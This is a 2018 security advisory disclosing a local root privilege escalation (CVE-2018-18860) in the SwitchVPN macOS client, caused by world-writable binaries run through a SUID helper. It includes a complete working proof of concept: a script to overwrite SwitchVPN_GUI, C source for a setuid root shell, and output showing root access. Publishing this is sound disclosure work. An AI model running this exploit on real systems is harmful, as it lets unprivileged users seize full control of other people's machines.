SwitchVPN For MacOS 2.1012.03 Privilege Escalation

2018.11.14
Credit: Bernd Leitner
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264

======================================================================= Title: Privilege Escalation Vulnerability Product: SwitchVPN for MacOS Vulnerable version: 2.1012.03 CVE ID: CVE-2018-18860 Impact: Critical Homepage: https://switchvpn.net/ Identified: 2018-09-29 By: Bernd Leitner (bernd.leitner [at] gmail dot com) ======================================================================= Vendor description: ------------------- "By 2015 we were frustrated that the free internet we loved was under threat. As experts in online security we believed we could solve this problem. So we came together as a team to make SwitchVPN, a simple and powerful app to keep the internet free. SwitchVPN is simple. Install it on your phone, tablet or laptop, then just switch it on to keep the internet free. SwitchVPN is powerful. Our exclusive VPN Service technology is constantly being upgraded by a dedicated team of internet security experts." Source: https://switchvpn.net/ Business recommendation: ------------------------ By exploiting the vulnerability documented in this advisory, an attacker can fully compromise a MacOS system with an installation of the SwitchVPN client. Users are urged to uninstall the SwitchVPN client for MacOS until the issues have been fixed. Vulnerability overview/description: ----------------------------------- 1) Privilege Escalation Vulnerability (reserved CVE-2018-18860) After installation or an update, the script "fix_permissions.sh" is run by the application. This script changes the owner of the main application binaries to root and sets them to world-writable. Additionally, the SUID bit is set for another sensitive binary in the application folder. This configuration makes it very easy to escalate privileges to root. After the installation or update of SwitchVPN, the following script is run: ============================================================================================ ... switchvpn_updater.dat mb:MacOS b$ file switchvpn_updater.dat switchvpn_updater.dat: Qt Binary Resource file ... if (systemInfo.kernelType === "darwin") { console.log("Run permissions\n"); component.addElevatedOperation("Execute", "/Applications/SwitchVPN/SwitchVPN.app/Contents/MacOS/fix_permissions.sh"); } ... ============================================================================================ mb:MacOS b$ cat fix_permissions.sh #!/bin/sh chown -R root /Applications/SwitchVPN/SwitchVPN.app/ chgrp -R admin /Applications/SwitchVPN/SwitchVPN.app/ chmod -R 777 /Applications/SwitchVPN/SwitchVPN.app/ chmod -R u+s /Applications/SwitchVPN/SwitchVPN.app/Contents/MacOS/compose8 ============================================================================================ This leads to an overpermissive application configuration: ============================================================================================ mb:MacOS b$ ls -al total 18720 drwxrwxrwx 35 root admin 1120 Sep 29 20:39 . drwxrwxrwx 16 root admin 512 Sep 29 20:39 .. -rwxrwxrwx 1 root admin 106224 Oct 12 2017 SwitchVPN -rwxrwxrwx 1 root admin 4693216 Oct 12 2017 SwitchVPN_GUI -r-xr-xr-x 1 root wheel 2859376 Oct 12 2017 compose -r-xr-xr-x 1 root wheel 29184 Oct 12 2017 compose10 -r-xr-xr-x 1 root wheel 29184 Oct 12 2017 compose11 -r-xr-xr-x 1 root wheel 59152 Oct 12 2017 compose3 -r-xr-xr-x 1 root wheel 39008 Oct 12 2017 compose4 -r-xr-xr-x 1 root wheel 587776 Oct 12 2017 compose6 -r-xr-xr-x 1 root wheel 278848 Oct 12 2017 compose7 -r-sr-xr-x 1 root wheel 22800 Oct 12 2017 compose8 -r-xr-xr-x 1 root wheel 19056 Oct 12 2017 compose9 -r-xr-xr-x 1 root wheel 132160 Oct 12 2017 composec -r-xr-xr-x 1 root wheel 510464 Oct 12 2017 composecn -r-xr-xr-x 1 root wheel 5632 Oct 12 2017 down.sh -rwxrwxrwx 1 root admin 245 Oct 12 2017 fix_permissions.sh -rw-r--r-- 1 root admin 56 Sep 29 20:39 log.txt -r-xr-xr-x 1 root wheel 39050 Oct 12 2017 up.sh ============================================================================================ Further investigation shows, that the "SwitchVPN_GUI" binary is run as root: ============================================================================================ mb:MacOS b$ ps aux | grep -i switch root 15165 4.6 0.4 4515952 72912 ?? S 8:39PM 0:08.84 SwitchVPN_GUI ============================================================================================ After statically analysing the "SwitchVPN" binary, it became clear, that it runs the "compose8" SUID root binary. Further analysis showed, that "compose8" subsequently runs the "SwitchVPN_GUI" binary and since it's world-writable, an attacker can exploit the situation to escalate privileges. ============================================================================================ # SwitchVPN -> compose8 ...add rdx, [rdx+10h] lea rsi, aCompose8_0 ; "compose8" lea rcx, aSwitchvpn ; "SwitchVPN" xor r9d, r9d xor eax, eax mov rdi, rbx ; char * mov r8, r14 call _execl ... ============================================================================================ ============================================================================================ # compose8 -> SwitchVPN_GUI ... lea rsi, aCompose8WillIn ; "Compose8 will invoke GUI app %s, %s\n" xor eax, eax mov rdx, rbx mov rcx, r12 call _fprintf cmp r15d, 4 lea rdx, aB ; "-b" cmovnz rdx, r14 xor ecx, ecx xor eax, eax mov rdi, rbx ; char * mov rsi, r12 ; char * call _execl ... ============================================================================================ Running the "SwitchVPN" binary from the command line confirms the issue: ============================================================================================ ./SwitchVPN This app (compose8) invoked with args: /Applications/SwitchVPN/SwitchVPN.app/Contents/MacOS, SwitchVPN Compose8 will invoke GUI app /Applications/SwitchVPN/SwitchVPN.app/Contents/MacOS/SwitchVPN_GUI, SwitchVPN_GUI ============================================================================================ Proof of concept: ----------------- 1) Privilege Escalation Vulnerability A situation like the one described above provides a wide range of possibilities for escalating privileges to root. A quick and easy way is to write the following shell script to "SwitchVPN_GUI": ============================================================================================ #!/bin/bash chown root /tmp/shell chmod 4755 /tmp/shell ============================================================================================ Create and compile the following execve() based shell: ============================================================================================ #include <stdlib.h> #include <unistd.h> main () { setuid(0); seteuid(0); setgid(0); execve("/bin/sh", 0, 0); } gcc shell.c -o shell ============================================================================================ Copy the shell binary to an attacker controlled location (e.g. /tmp). Start the "SwitchVPN.app" as a local, unprivileged user. Afterwards the execution of /tmp/shell will drop the user/attacker to a root shell: ============================================================================================ -rwsr-xr-x 1 root wheel 8576 Sep 29 20:34 shell -rw-r--r-- 1 b wheel 127 Sep 29 20:33 shell.c bash-3.2$ whoami b bash-3.2$ ./shell bash-3.2# whoami root ============================================================================================ Vulnerable / tested versions: ----------------------------- The following version has been tested and found to be vulnerable: 2.1012.03. Earlier versions might be vulnerable as well. Vendor contact timeline: ------------------------ 2018-10-04: Requested security contact via https://switchvpn.net 2018-10-10: Contacted vendor through mark@switchvpn.com 2018-10-17: Requested status update from vendor 2018-10-30: Sent new contact details & public PGP key to mark@switchvpn.com 2018-10-31: Requested status update from vendor 2018-11-12: Informed vendor about advisory release Solution: --------- None. Workaround: ----------- None. EOF B. Leitner / @2018


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